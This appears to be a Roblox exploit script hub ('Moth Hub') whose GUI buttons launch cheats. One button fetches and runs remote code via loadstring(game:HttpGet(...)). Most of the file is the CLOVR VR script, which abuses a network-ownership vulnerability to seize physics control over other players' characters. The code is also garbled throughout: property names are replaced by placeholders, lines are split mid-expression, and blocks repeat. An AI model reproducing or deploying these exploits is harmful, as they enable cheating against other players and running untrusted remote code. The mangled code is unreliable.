[Link] = [Link](0.274585903, 0, 0.106399715, 0)
[Link] = [Link](0, 127, 0, 50)
[Link] = [Link]
[Link] = "Game Scripts"
subtitle.TextColor3 = [Link](110, 255, 120)
[Link] = 15.000

[Link] = "pgclose"
[Link] = Frame
pgclose.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 1.000
pgclose.BorderColor3 = [Link](100, 173, 111)
[Link] = 0
[Link] = [Link](0.487913609, 0, 0.0406750441, 0)
[Link] = [Link](0, 266, 0, 27)
[Link] = [Link]
[Link] = "X"
pgclose.TextColor3 = [Link](114, 255, 126)
[Link] = 40.000
pgclose.MouseButton1Down:connect(function()
[Link] = false
end)
end)
[Link] = "title"
[Link] = Frame
title.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 1.000
title.BorderColor3 = [Link](29, 195, 0)
[Link] = [Link](0.0307292938, 0, -0.00252586603, 0)
[Link] = [Link](0, 354, 0, 50)
[Link] = [Link]
[Link] = "Moth Hub"
title.TextColor3 = [Link](138, 255, 125)
[Link] = 40.000

[Link] = "Close"
[Link] = Frame
Close.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 1.000
[Link] = [Link](0.877751231, 0, 0.0185347367, 0)
[Link] = [Link](0, 32, 0, 35)
[Link] = [Link]
[Link] = "X"
Close.TextColor3 = [Link](116, 255, 137)
[Link] = 40.000
Close.MouseButton1Down:connect(function()
[Link] = true
[Link] = false
end)

[Link] = "title"
[Link] = Frame
title.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 1.000
title.BorderColor3 = [Link](29, 195, 0)
[Link] = [Link](0.0307292938, 0, -0.00252586603, 0)
[Link] = [Link](0, 354, 0, 50)
[Link] = [Link]
[Link] = "Moth Hub"
title.TextColor3 = [Link](138, 255, 125)
[Link] = 40.000

[Link] = "Close"
[Link] = Frame
Close.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 1.000
[Link] = [Link](0.877751231, 0, 0.0185347367, 0)
[Link] = [Link](0, 32, 0, 35)
[Link] = [Link]
[Link] = "X"
Close.TextColor3 = [Link](116, 255, 137)
[Link] = 40.000
Close.MouseButton1Down:connect(function()
[Link] = true
[Link] = false
end)
[Link] = "version"
[Link] = Frame
version.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 1.000
version.BorderColor3 = [Link](29, 195, 0)
[Link] = [Link](-0.394072831, 0, -0.0305632483, 0)
[Link] = [Link](0, 354, 0, 50)
[Link] = [Link]
[Link] = "V1.12"
version.TextColor3 = [Link](138, 255, 125)
[Link] = 20.000

[Link] = "pagethree"
[Link] = Frame
pagethree.BackgroundColor3 = [Link](107, 255, 142)
[Link] = 0.200
pagethree.BorderColor3 = [Link](47, 111, 29)
[Link] = 2
[Link] = [Link](0.538881183, 0, 0.881535709, 0)
[Link] = [Link](0, 148, 0, 29)
[Link] = [Link]
[Link] = "Page Three"
pagethree.TextColor3 = [Link](0, 0, 0)
[Link] = 14.000
pagethree.MouseButton1Down:connect(function()
-- Gui to Lua
-- Version: 3.2

-- Instances:

local ScreenGui = [Link]("ScreenGui")


local Frame = [Link]("ImageLabel")
local arosia = [Link]("TextButton")
local clovr = [Link]("TextButton")
local invisfling = [Link]("TextButton")
local cartride = [Link]("TextButton")
local credits = [Link]("TextButton")
local psyhub = [Link]("TextButton")
local freecam = [Link]("TextButton")
local fakeip = [Link]("TextButton")
local rolling = [Link]("TextButton")
local TextLabel = [Link]("TextLabel")
local close3 = [Link]("TextButton")

--Properties:

[Link] = [Link]

[Link] = "Frame"
[Link] = ScreenGui
Frame.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 1.000
[Link] = [Link](-0.000789254904, 0, 0.520884514, 0)
[Link] = [Link](0, 317, 0, 390)
[Link] = "rbxassetid://3570695787"
Frame.ImageColor3 = [Link](0, 0, 13)
[Link] = [Link]
[Link] = [Link](100, 100, 100, 100)
[Link] = 0.120
[Link] = true
[Link] = true
[Link] = true

[Link] = "arosia"
[Link] = Frame
arosia.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 0.900
arosia.BorderColor3 = [Link](100, 173, 111)
[Link] = 0
[Link] = [Link](0.0787409693, 0, 0.124828324, 0)
[Link] = [Link](0, 266, 0, 27)
[Link] = [Link]
[Link] = "Arosia"
arosia.TextColor3 = [Link](0, 0, 0)
[Link] = 15.000
arosia.MouseButton1Down:connect(function()
loadstring(game:HttpGet('[Link]
end)

[Link] = "clovr"
[Link] = Frame
clovr.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 0.900
clovr.BorderColor3 = [Link](100, 173, 111)
[Link] = 0
[Link] = [Link](0.0787409693, 0, 0.215273038, 0)
[Link] = [Link](0, 266, 0, 27)
[Link] = [Link]
[Link] = "Clovr VR Script"
clovr.TextColor3 = [Link](0, 0, 0)
[Link] = 15.000
clovr.MouseButton1Down:connect(function()
--vr script thread [Link]

-- CLOVR - FE FULL-BODY VR SCRIPT

-- April 21st Update - TOOL HOLDING ADDED


-- | made by 0866!!!!!!! and abacaxl!!!!!!!!
-- | tysm unverified

-- This is an older version of CLOVR, I found that the legs would 'walk'
better in this version than the one we released.

--Controls are a bit different from last release because this is older. Still
works good!

--RagDollEnabled is set to true, DON'T set it to false or CLOVR won't work.


Feel free to change the other settings though. -Abacaxl

--|| Settings:

local StudsOffset = 0 -- Character height (negative if you're too high)


local Smoothness = .5 -- Character interpolation (0.1 - 1 = smooth - rigid)

local AnchorCharacter = true -- Prevent physics from causing inconsistencies


local HideCharacter = false -- Hide character on a platform
local NoCollision = true -- Disable player collision

local ChatEnabled = true -- See chat on your left hand in-game


local ChatLocalRange = 75 -- Local chat range

local ViewportEnabled = true -- View nearby players in a frame


local ViewportRange = 30 -- Maximum distance players are updated

local RagdollEnabled = true -- Use your character instead of hats


(NetworkOwner vulnerability)
local RagdollHeadMovement = true -- Move your head separately from your body
(+9 second wait)

local AutoRun = false -- Run script on respawn


local AutoRespawn = true -- Kill your real body when your virtual body dies

local WearAllAccessories = true -- Use all leftover hats for the head
local AccurateHandPosition = true -- Move your Roblox hands according to your
real hands

local AccessorySettings = {
LeftArm = "";
RightArm = "";
LeftLeg = "";
RightLeg = "";
Torso = "";
Head = true;

BlockArms = true;
BlockLegs = true;
BlockTorso = true;
LimbOffset = [Link]([Link](90), 0, 0);
}

local FootPlacementSettings = {
RightOffset = [Link](.5, 0, 0),
LeftOffset = [Link](-.5, 0, 0),
}

--|| Script:

local Script = nil;

Script = function()

--[[
Variables
--]]

local Players = game:GetService("Players")


local Client = [Link]
local Character = [Link] or [Link]:Wait()
local WeldBase = Character:WaitForChild("HumanoidRootPart")
local ArmBase = Character:FindFirstChild("RightHand") or
Character:FindFirstChild("Right Arm") or WeldBase
local Backpack = Client:WaitForChild("Backpack")
local Mouse = Client:GetMouse()

local Camera = [Link]

local VRService = game:GetService("VRService")


local VRReady = [Link]

local UserInputService = game:GetService("UserInputService")


local RunService = game:GetService("RunService")
local HttpService = game:GetService("HttpService")
local StarterGui = game:GetService("StarterGui")

local HeadAccessories = {};


local UsedAccessories = {};

local Pointer = false;


local Point1 = false;
local Point2 = false;

local VirtualRig = game:GetObjects("rbxassetid://4468539481")[1]


local VirtualBody = game:GetObjects("rbxassetid://4464983829")[1]

local Anchor = [Link]("Part")

[Link] = true
[Link] = 1
[Link] = false
[Link] = workspace

if RagdollEnabled then
print("RagdollEnabled, thank you for using CLOVR!")
local NetworkAccess = [Link](function()
settings().[Link] = false
while true do
game:GetService("RunService").RenderStepped:Wait()
for _,Players in next,
game:GetService("Players"):GetChildren() do
if Players ~=
game:GetService("Players").LocalPlayer then
[Link] = 0.1
[Link] = 0 end end

game:GetService("Players").[Link] =
[Link]([Link],[Link])

game:GetService("Players").[Link] = [Link]*[Link]
end end)
[Link](NetworkAccess)
end

StarterGui:SetCore("VRLaserPointerMode", 3)

--[[
Character Protection
--]]

local CharacterCFrame = [Link]

if not RagdollEnabled then


[Link]:Connect(function(Animation)
Animation:Stop()
end)

for _, Track in next,


[Link]:GetPlayingAnimationTracks() do
Track:Stop()
end

if HideCharacter then
local Platform = [Link]("Part")

[Link] = true
[Link] = [Link](100, 5, 100)
[Link] = [Link](0, 10000, 0)
[Link] = 1
[Link] = workspace

Character:MoveTo([Link] + [Link](0, 5, 0))

wait(.5)
end

if AnchorCharacter then
for _, Part in pairs(Character:GetChildren()) do
if Part:IsA("BasePart") then
[Link] = true
end
end
end
end

--[[
Functions
--]]

function Tween(Object, Style, Direction, Time, Goal)


local tweenInfo = [Link](Time, [Link][Style],
[Link][Direction])
local tween = game:GetService("TweenService"):Create(Object,
tweenInfo, Goal)

[Link]:Connect(function()
tween:Destroy()
end)

tween:Play()

return tween
end

local function GetMotorForLimb(Limb)


for _, Motor in next, Character:GetDescendants() do
if Motor:IsA("Motor6D") and Motor.Part1 == Limb then
return Motor
end
end
end

local function CreateAlignment(Limb, Part0)


local Attachment0 = [Link]("Attachment", Part0 or Anchor)
local Attachment1 = [Link]("Attachment", Limb)

local Orientation = [Link]("AlignOrientation")


local Position = [Link]("AlignPosition")

Orientation.Attachment0 = Attachment1
Orientation.Attachment1 = Attachment0
[Link] = false
[Link] = 20000
[Link] = 40
[Link] = [Link]

Position.Attachment0 = Attachment1
Position.Attachment1 = Attachment0
[Link] = false
[Link] = 40000
[Link] = 40
[Link] = [Link]

[Link] = false

local Motor = GetMotorForLimb(Limb)


if Motor then
Motor:Destroy()
end

return function(CF, Local)


if Local then
[Link] = CF
else
[Link] = CF
end
end;
end

local function GetExtraTool()


for _, Tool in next, Character:GetChildren() do
if Tool:IsA("Tool") and not [Link]:match("LIMB_TOOL")
then
return Tool
end
end
end

local function GetGripForHandle(Handle)


for _, Weld in next, Character:GetDescendants() do
if Weld:IsA("Weld") and (Weld.Part0 == Handle or Weld.Part1
== Handle) then
return Weld
end
end

wait(.2)

for _, Weld in next, Character:GetDescendants() do


if Weld:IsA("Weld") and (Weld.Part0 == Handle or Weld.Part1
== Handle) then
return Weld
end
end
end

local function CreateRightGrip(Handle)


local RightGrip = [Link]("Weld")

[Link] = "RightGrip"
RightGrip.Part1 = Handle
RightGrip.Part0 = WeldBase
[Link] = WeldBase

return RightGrip
end

local function CreateAccessory(Accessory, DeleteMeshes)


if not Accessory then
return
end

local HatAttachment =
[Link]:FindFirstChildWhichIsA("Attachment")
local HeadAttachment =
VirtualRig:FindFirstChild([Link], true)
local BasePart = [Link]

local HatAtt = [Link]


local HeadAtt = [Link]

if DeleteMeshes then
if [Link]:FindFirstChild("Mesh") then
[Link]:Destroy()
end
end

wait()

local Handle = Accessory:WaitForChild("Handle")

if Handle:FindFirstChildWhichIsA("Weld", true) then


Handle:FindFirstChildWhichIsA("Weld", true):Destroy()
Handle:BreakJoints()
else
Handle:BreakJoints()
end

[Link] = true
[Link] = 0.5

UsedAccessories[Accessory] = true

local RightGrip = CreateRightGrip(Handle)

wait()

for _, Object in pairs(Handle:GetDescendants()) do


if not Object:IsA("BasePart") then
pcall(function()
[Link] = 1
end)

pcall(function()
[Link] = false
end)
end
end

return Handle, RightGrip, HatAtt, HeadAtt, BasePart;


end

local function GetHeadAccessories()


for _, Accessory in next, Character:GetChildren() do
if Accessory:IsA("Accessory") and not
UsedAccessories[Accessory] then
local Handle, RightGrip, HatAtt, HeadAtt, BasePart =
CreateAccessory(Accessory)

[Link](HeadAccessories, {Handle, RightGrip,


HatAtt, HeadAtt, BasePart})

do
[Link] = 1
end

if not WearAllAccessories then


break
end
end
end
end

--[[
VR Replication Setup
--]]

if not RagdollEnabled then


LeftHandle, LeftHandGrip =
CreateAccessory(Character:FindFirstChild([Link]),
[Link])
RightHandle, RightHandGrip =
CreateAccessory(Character:FindFirstChild([Link]),
[Link])
LeftHipHandle, LeftLegGrip =
CreateAccessory(Character:FindFirstChild([Link]),
[Link])
RightHipHandle, RightLegGrip =
CreateAccessory(Character:FindFirstChild([Link]),
[Link])
TorsoHandle, TorsoGrip =
CreateAccessory(Character:FindFirstChild([Link]),
[Link])
GetHeadAccessories()

elseif RagdollEnabled then


if RagdollHeadMovement then
Permadeath()
MoveHead = CreateAlignment(Character["Head"])
end

MoveRightArm = CreateAlignment(Character["Right Arm"])


MoveLeftArm = CreateAlignment(Character["Left Arm"])
MoveRightLeg = CreateAlignment(Character["Right Leg"])
MoveLeftLeg = CreateAlignment(Character["Left Leg"])
MoveTorso = CreateAlignment(Character["Torso"])
MoveRoot = CreateAlignment([Link])

if RagdollHeadMovement then
for _, Accessory in next, Character:GetChildren() do
if Accessory:IsA("Accessory") and
Accessory:FindFirstChild("Handle") then
local Attachment1 =
[Link]:FindFirstChildWhichIsA("Attachment")
local Attachment0 =
Character:FindFirstChild(tostring(Attachment1), true)

local Orientation =
[Link]("AlignOrientation")
local Position = [Link]("AlignPosition")

print(Attachment1, Attachment0, Accessory)

Orientation.Attachment0 = Attachment1
Orientation.Attachment1 = Attachment0
[Link] = false
[Link] = true
[Link] = 20000
[Link] = 40
[Link] = [Link]

Position.Attachment0 = Attachment1
Position.Attachment1 = Attachment0
[Link] = false
[Link] = true
[Link] = 40000
[Link] = 40
[Link] = [Link]
end
end
end
end

--[[
Movement
--]]

[Link] = "VirtualRig"
[Link] = CharacterCFrame.p
[Link] = CharacterCFrame.p
[Link] = workspace
VirtualRig:SetPrimaryPartCFrame(CharacterCFrame)

[Link] = 0
VirtualRig:BreakJoints()
--

[Link] = workspace
[Link] = "VirtualBody"
[Link] = 8
[Link] = [Link](0, StudsOffset, 0)
VirtualBody:SetPrimaryPartCFrame(CharacterCFrame)

[Link]:Connect(function()
print("Virtual death")
if AutoRespawn then
Character:BreakJoints()

if RagdollHeadMovement and RagdollEnabled then


Network:Unclaim()
Respawn()
end
end
end)
--

[Link] = [Link]

[Link] = 0
[Link] = 1

for _, Part in next, VirtualBody:GetChildren() do


if Part:IsA("BasePart") then
[Link] = 1
end
end

for _, Part in next, VirtualRig:GetChildren() do


if Part:IsA("BasePart") then
[Link] = 1
end
end
if not VRReady then
[Link] =
true
[Link] = true
end

local OnMoving = [Link]:Connect(function()


local Direction = [Link]
local Start = [Link]
local Point = Start + Direction * 6

[Link]:MoveTo(Point)
end)

[Link]:Connect(function()
[Link] = true
end)

[Link]:Connect(function()
[Link] = true
end)

--[[
VR Replication
--]]

if RagdollEnabled then
for _, Part in pairs(Character:GetDescendants()) do
if Part:IsA("BasePart") and [Link] == "Handle" and
[Link]:IsA("Accessory") then
[Link] = 1
elseif Part:IsA("BasePart") and [Link] < 0.5 and
[Link] ~= "Head" then
[Link] = 0.5
elseif Part:IsA("BasePart") and [Link] == "Head" then
[Link] = 1
end

if not Part:IsA("BasePart") and not


Part:IsA("AlignPosition") and not Part:IsA("AlignOrientation") then
pcall(function()
[Link] = 1
end)

pcall(function()
[Link] = false
end)
end
end
end

local FootUpdateDebounce = tick()

local function FloorRay(Part, Distance)


local Position = [Link].p
local Target = Position - [Link](0, Distance, 0)
local Line = [Link](Position, (Target - Position).Unit *
Distance)

local FloorPart, FloorPosition, FloorNormal =


workspace:FindPartOnRayWithIgnoreList(Line, {VirtualRig, VirtualBody, Character})

if FloorPart then
return FloorPart, FloorPosition, FloorNormal,
(FloorPosition - Position).Magnitude
else
return nil, Target, [Link](), Distance
end
end

local function Flatten(CF)


local X,Y,Z = CF.X,CF.Y,CF.Z
local LX,LZ = [Link].X,[Link].Z

return [Link](X,Y,Z) * [Link](0,math.atan2(LX,LZ),0)


end

local FootTurn = 1

local function FootReady(Foot, Target)


local MaxDist

if [Link] > 0 then


MaxDist = .5
else
MaxDist = 1
end

local PastThreshold = ([Link] - [Link]).Magnitude


> MaxDist
local PastTick = tick() - FootUpdateDebounce >= 2

if PastThreshold or PastTick then


FootUpdateDebounce = tick()
end

return
PastThreshold
or
PastTick
end

local function FootYield()


local RightFooting = [Link]
local LeftFooting = [Link]
local LowerTorso = [Link]

local Yield = tick()

repeat
[Link]:Wait()
if
([Link] - [Link]).Y > 4
or
([Link] - [Link]).Y
> 4
or
(([Link] - [Link])
* [Link](1, 0, 1)).Magnitude > 4
or
(([Link] - [Link]) *
[Link](1, 0, 1)).Magnitude > 4
then
break
end
until tick() - Yield >= .17
end

local function UpdateFooting()


if not VirtualRig:FindFirstChild("LowerTorso") then
wait()
return
end

local Floor, FloorPosition, FloorNormal, Dist =


FloorRay([Link], 3)

Dist = [Link](Dist, 0, 5)

local FootTarget =
[Link] *
[Link]([Link]) -
[Link](0, Dist, 0) +
[Link] *
([Link] / 8) * 2

if FootReady([Link], FootTarget) then


[Link] = FootTarget.p
[Link] =
Flatten([Link])
end

FootYield()

local FootTarget =
[Link] *
[Link]([Link]) -
[Link](0, Dist, 0) +
[Link] *
([Link] / 8) * 2

if FootReady([Link], FootTarget) then


[Link] = FootTarget.p
[Link] =
Flatten([Link])
end
end

local function UpdateTorsoPosition()


if not RagdollEnabled then
if TorsoHandle then
local Positioning = [Link]

if not TorsoGrip or not [Link] then


TorsoGrip = CreateRightGrip(TorsoHandle)
end

local Parent = [Link]

TorsoGrip.C1 = [Link]()
TorsoGrip.C0 =
TorsoGrip.C0:Lerp([Link]:ToObjectSpace(Positioning * [Link](0, -0.25,
0) * [Link]), Smoothness)
[Link] = nil
[Link] = Parent
end
else
local Positioning = [Link]

MoveTorso(Positioning * [Link](0, -0.25, 0))


MoveRoot(Positioning * [Link](0, -0.25, 0))
end
end

local function UpdateLegPosition()


if not RagdollEnabled then
if RightHipHandle then
local Positioning =
[Link]
: Lerp([Link], 0.5)
+ [Link](0, 0.5, 0)

if not RightHipHandle or not [Link]


then
RightLegGrip = CreateRightGrip(RightHipHandle)
end

local Parent = [Link]

RightLegGrip.C1 = [Link]()
RightLegGrip.C0 =
RightLegGrip.C0:Lerp([Link]:ToObjectSpace(Positioning *
[Link]), Smoothness)
[Link] = nil
[Link] = Parent
end

if LeftHipHandle then
local Positioning =
[Link]
: Lerp([Link], 0.5)
+ [Link](0, 0.5, 0)

if not LeftLegGrip or not [Link] then


LeftLegGrip = CreateRightGrip(LeftHipHandle)
end

local Parent = [Link]

LeftLegGrip.C1 = [Link]()
LeftLegGrip.C0 =
LeftLegGrip.C0:Lerp([Link]:ToObjectSpace(Positioning *
[Link]), Smoothness)
[Link] = nil
[Link] = Parent
end
else
do
local Positioning =
[Link]
: Lerp([Link], 0.5)
* [Link](0, [Link](180), 0)
+ [Link](0, 0.5, 0)

MoveRightLeg(Positioning)
end

do
local Positioning =
[Link]
: Lerp([Link], 0.5)
* [Link](0, [Link](180), 0)
+ [Link](0, 0.5, 0)

MoveLeftLeg(Positioning)
end
end
end

warn("VRReady is", VRReady)

local function OnUserCFrameChanged(UserCFrame, Positioning,


IgnoreTorso)
local Positioning = [Link] * Positioning

if not IgnoreTorso then


UpdateTorsoPosition()
UpdateLegPosition()
end

if not RagdollEnabled then


if UserCFrame == [Link] and
[Link] then
for _, Table in next, HeadAccessories do
local Handle, RightGrip, HatAtt, HeadAtt,
BasePart = unpack(Table)
local LocalPositioning = Positioning

if not RightGrip or not [Link] then


RightGrip = CreateRightGrip(Handle)
Table[2] = RightGrip
end

local Parent = [Link]

if BasePart then
LocalPositioning = [Link] *
HeadAtt
end

RightGrip.C1 = HatAtt
RightGrip.C0 =
RightGrip.C0:Lerp([Link]:ToObjectSpace(LocalPositioning), Smoothness)
[Link] = nil
[Link] = Parent
end

elseif RightHandle and UserCFrame ==


[Link] and [Link] then
local HandPosition = Positioning
local LocalPositioning = Positioning

if not RightHandGrip or not [Link] then


RightHandGrip = CreateRightGrip(RightHandle)
end

if AccurateHandPosition then
HandPosition = HandPosition * [Link](0, 0,
1)
end

if not VRReady then


local HeadRotation = [Link] -
[Link].p

HandPosition =
[Link]:Lerp([Link], 0.5) *
[Link]

--LocalPositioning = (HeadRotation +
(HandPosition * [Link](0, 0, 1)).p) * [Link]([Link](-45), 0, 0)
LocalPositioning = HandPosition * [Link](0,
0, 1) * [Link]([Link](-180), 0, 0)

if Point2 then
[Link] =
[Link]([Link], [Link], [Link])
[Link] =
[Link] * [Link]
elseif [Link]
~= [Link](0, 0, 0) then
[Link] =
[Link](0, 0, 0)
end
elseif AccurateHandPosition then
LocalPositioning = HandPosition
end

local Parent = [Link]

RightHandGrip.C1 = [Link]()
RightHandGrip.C0 =
RightHandGrip.C0:Lerp([Link]:ToObjectSpace(HandPosition), Smoothness)
[Link] = nil
[Link] = Parent

--

local EquippedTool = GetExtraTool()

if EquippedTool and
EquippedTool:FindFirstChild("Handle") then
local EquippedGrip =
GetGripForHandle([Link])
local Parent = [Link]

local ArmBaseCFrame = [Link]


if [Link] == "Right Arm" then
ArmBaseCFrame = ArmBaseCFrame
end

EquippedGrip.C1 = [Link]
EquippedGrip.C0 =
EquippedGrip.C0:Lerp(ArmBaseCFrame:ToObjectSpace(LocalPositioning), Smoothness)
[Link] = nil
[Link] = Parent
end

elseif LeftHandle and UserCFrame ==


[Link] and [Link] then
local HandPosition = Positioning

if not LeftHandGrip or not [Link] then


LeftHandGrip = CreateRightGrip(LeftHandle)
end

if AccurateHandPosition then
HandPosition = HandPosition * [Link](0, 0,
1)
end

if not VRReady then


HandPosition =
[Link]:Lerp([Link], 0.5) *
[Link]
--warn("Setting HandPosition to hands")
if Point1 then
[Link] =
[Link]([Link], [Link], [Link])
[Link] =
[Link] * [Link]
elseif [Link] ~=
[Link](0, 0, 0) then
[Link] =
[Link](0, 0, 0)
end
end

local Parent = [Link]

LeftHandGrip.C1 = [Link]()
LeftHandGrip.C0 =
LeftHandGrip.C0:Lerp([Link]:ToObjectSpace(HandPosition), Smoothness)
[Link] = nil
[Link] = Parent

end
end

if RagdollEnabled then
if UserCFrame == [Link] and
RagdollHeadMovement then
MoveHead(Positioning)
elseif UserCFrame == [Link] then
local Positioning = Positioning

if not VRReady then


Positioning =
[Link]:Lerp([Link], 0.5)
elseif AccurateHandPosition then
Positioning = Positioning * [Link](0, 0, 1)
end

if VRReady then
Positioning = Positioning *
[Link]
end

MoveRightArm(Positioning)

if Point2 then
[Link] =
[Link]([Link], [Link], [Link])
[Link] =
[Link] * [Link]
elseif [Link] ~=
[Link](0, 0, 0) then
[Link] =
[Link](0, 0, 0)
end
elseif UserCFrame == [Link] then
local Positioning = Positioning

if not VRReady then


Positioning =
[Link]:Lerp([Link], 0.5)
elseif AccurateHandPosition then
Positioning = Positioning * [Link](0, 0, 1)
end

if VRReady then
Positioning = Positioning *
[Link]
end

MoveLeftArm(Positioning)

if Point1 then
[Link] =
[Link]([Link], [Link], [Link])
[Link] =
[Link] * [Link]
elseif [Link] ~=
[Link](0, 0, 0) then
[Link] =
[Link](0, 0, 0)
end
end
end
if UserCFrame == [Link] then
[Link] = Positioning

elseif UserCFrame == [Link] and VRReady then


[Link] = Positioning

elseif UserCFrame == [Link] and VRReady then


[Link] = Positioning

end

if not VRReady and [Link] then


[Link] = false
[Link] = false
elseif VRReady and not [Link] then
[Link] = true
[Link] = true
end
end

local CFrameChanged =
[Link]:Connect(OnUserCFrameChanged)

local OnStepped = [Link]:Connect(function()


for _, Part in pairs(VirtualRig:GetChildren()) do
if Part:IsA("BasePart") then
[Link] = false
end
end

if RagdollEnabled then
for _, Part in pairs(Character:GetChildren()) do
if Part:IsA("BasePart") then
[Link] = false
end
end
end

if NoCollision then
for _, Player in pairs(Players:GetPlayers()) do
if Player ~= Client and [Link] then
local Descendants =
[Link]:GetDescendants()
for i = 1, #Descendants do
local Part = Descendants[i]
if Part:IsA("BasePart") then
[Link] = false
[Link] = [Link]()
[Link] = [Link]()
end
end
end
end
end
end)

local OnRenderStepped = [Link]:Connect(function()


[Link] = [Link]
if RagdollEnabled then
[Link] =
[Link]
[Link] = [Link](0, 0, 0)
end

if not VRReady then


OnUserCFrameChanged([Link], [Link](0, 0,
0))

OnUserCFrameChanged([Link],
[Link](0, 0, 0), true)
OnUserCFrameChanged([Link], [Link](0,
0, 0), true)
end
end)

spawn(function()
while Character and [Link] do
FootYield()
UpdateFooting()
end
end)

--[[
Non-VR Support + VR Mechanics
--]]

local OnInput = [Link]:Connect(function(Input,


Processed)
if not Processed then
if [Link] == [Link] or
[Link] == [Link].ButtonL2 then
Tween([Link], "Elastic", "Out", 1, {
CameraOffset = [Link](0, StudsOffset -
1.5, 0)
})
end

if [Link] == [Link].X then


if RagdollEnabled and RagdollHeadMovement then
Network:Unclaim()
Respawn()
end
end

if [Link] == [Link].C then


VirtualBody:MoveTo([Link].p)
VirtualRig:MoveTo([Link].p)
end
end

if [Link] == [Link] or [Link] ==


[Link].ButtonR2 then
Tween([Link], "Sine", "Out", 1, {
WalkSpeed = 16
})
end
if not VRReady and [Link] ==
[Link].MouseButton1 then
Point1 = true
end

if not VRReady and [Link] ==


[Link].MouseButton2 then
Point2 = true
end

if VRReady and [Link] == [Link] then


Character:BreakJoints()

if RagdollEnabled and RagdollHeadMovement then


Network:Unclaim()
Respawn()
end
end
end)

local OnInputEnded =
[Link]:Connect(function(Input, Processed)
if not Processed then
if [Link] == [Link] or
[Link] == [Link].ButtonL2 then
Tween([Link], "Elastic", "Out", 1, {
CameraOffset = [Link](0, StudsOffset, 0)
})
end
end

if [Link] == [Link] or [Link] ==


[Link].ButtonR2 then
Tween([Link], "Sine", "Out", 1, {
WalkSpeed = 8
})
end

if not VRReady and [Link] ==


[Link].MouseButton1 then
Point1 = false
end

if not VRReady and [Link] ==


[Link].MouseButton2 then
Point2 = false
end
end)

--[[
Proper Cleanup
--]]

local OnReset

OnReset = [Link]:Connect(function()
OnReset:Disconnect();
CFrameChanged:Disconnect();
OnStepped:Disconnect();
OnRenderStepped:Disconnect();
OnMoving:Disconnect();
OnInput:Disconnect();
OnInputEnded:Disconnect();

VirtualRig:Destroy();
VirtualBody:Destroy();

if RagdollEnabled then
Network:Unclaim();
end

if AutoRun then
delay(2, function()
Script()
end)
end
end)

if ChatEnabled then
spawn(ChatHUDFunc)
end

if ViewportEnabled then
spawn(ViewHUDFunc)
end

do
--[[
Functions
--]]

local Players = game:GetService("Players")


local Client = [Link]

local VRService = game:GetService("VRService")


local VRReady = [Link]

local UserInputService = game:GetService("UserInputService")


local RunService = game:GetService("RunService")

local Camera = [Link]

--[[
Code
--]]

if VRReady then
local Pointer = game:GetObjects("rbxassetid://4476173280")
[1]

[Link] = workspace
[Link] = false
[Link] = false

local RenderStepped =
[Link]:Connect(function()
if [Link] then
local RightHand = [Link] *
VRService:GetUserCFrame([Link])
local Target = RightHand * [Link](0, 0,
-10)

local Line = [Link](RightHand.p, (Target.p -


RightHand.p).Unit * 128)
local Part, Position =
workspace:FindPartOnRayWithIgnoreList(Line, {VirtualRig, VirtualBody, Character,
Pointer})

local Distance = (Position -


RightHand.p).Magnitude

[Link] = [Link](0, 0,
-Distance)
[Link] = RightHand
end
end)

local Input =
[Link]:Connect(function(Input)
if [Link] == [Link] then
[Link] = not [Link]
[Link] = not
[Link]
end
end)

--

local CharacterAdded

CharacterAdded = [Link]:Connect(function()
RenderStepped:Disconnect()
Input:Disconnect()
CharacterAdded:Disconnect()

Pointer:Destroy()
Pointer = nil
end)
else
return
end
end

end;

Permadeath = function()
local ch = [Link]
local prt=[Link]("Model", workspace)
local z1 = [Link]("Part", prt)
[Link]="Torso"
[Link] = false
[Link] = true
local z2 =[Link]("Part", prt)
[Link]="Head"
[Link] = true
[Link] = false
local z3 =[Link]("Humanoid", prt)
[Link]="Humanoid"
[Link] = [Link](0,9999,0)
[Link] = [Link](0,9991,0)
[Link]=prt
wait(5)
warn("50%")
[Link]=ch
wait(6)
warn("100%")
end;

Respawn = function()
local ch = [Link]

local prt=[Link]("Model", workspace)


local z1 = [Link]("Part", prt)
[Link]="Torso"
[Link] = false
[Link] = true
local z2 =[Link]("Part", prt)
[Link]="Head"
[Link] = true
[Link] = false
local z3 =[Link]("Humanoid", prt)
[Link]="Humanoid"
[Link] = [Link](0,9999,0)
[Link] = [Link](0,9991,0)
[Link]=prt
wait(5)
[Link]=ch
end;

ChatHUDFunc = function()
--[[
Variables
--]]

local UserInputService = game:GetService("UserInputService")


local RunService = game:GetService("RunService")

local VRService = game:GetService("VRService")


local VRReady = [Link]

local Players = game:GetService("Players")


local Client = [Link]

local ChatHUD = game:GetObjects("rbxassetid://4476067885")[1]


local GlobalFrame = [Link]
local Template = [Link]
local LocalFrame = [Link]
local Global = [Link]
local Local = [Link]

local Camera = [Link]

[Link] = nil
[Link] = game:GetService("CoreGui")

--[[
Code
--]]

local Highlight = [Link].BackgroundColor3


local Deselected = [Link].BackgroundColor3

local OpenGlobalTab = function()


[Link].BackgroundColor3 = Highlight
[Link].BackgroundColor3 = Deselected

[Link] = [Link]
[Link] = [Link]

[Link] = true
[Link] = false
end

local OpenLocalTab = function()


[Link].BackgroundColor3 = Deselected
[Link].BackgroundColor3 = Highlight

[Link] = [Link]
[Link] = [Link]

[Link] = false
[Link] = true
end

Global.MouseButton1Down:Connect(OpenGlobalTab)
Local.MouseButton1Down:Connect(OpenLocalTab)
Global.MouseButton1Click:Connect(OpenGlobalTab)
Local.MouseButton1Click:Connect(OpenLocalTab)

OpenLocalTab()

--

local function GetPlayerDistance(Sender)


if [Link] and [Link]:FindFirstChild("Head")
then
return [Link](([Link] -
Camera:GetRenderCFrame().p).Magnitude + 0.5)
end
end

local function NewGlobal(Message, Sender, Color)


local Frame = Template:Clone()

[Link] = ("[%s]: %s"):format([Link], Message)


[Link] = ("[%s]:"):format([Link])
[Link].TextColor3 = Color
Frame.BackgroundColor3 = Color
[Link] = GlobalFrame

delay(60, function()
Frame:Destroy()
end)
end
local function NewLocal(Message, Sender, Color, Dist)
local Frame = Template:Clone()

[Link] = ("(%s) [%s]: %s"):format(tostring(Dist),


[Link], Message)
[Link] = ("(%s) [%s]:"):format(tostring(Dist),
[Link])
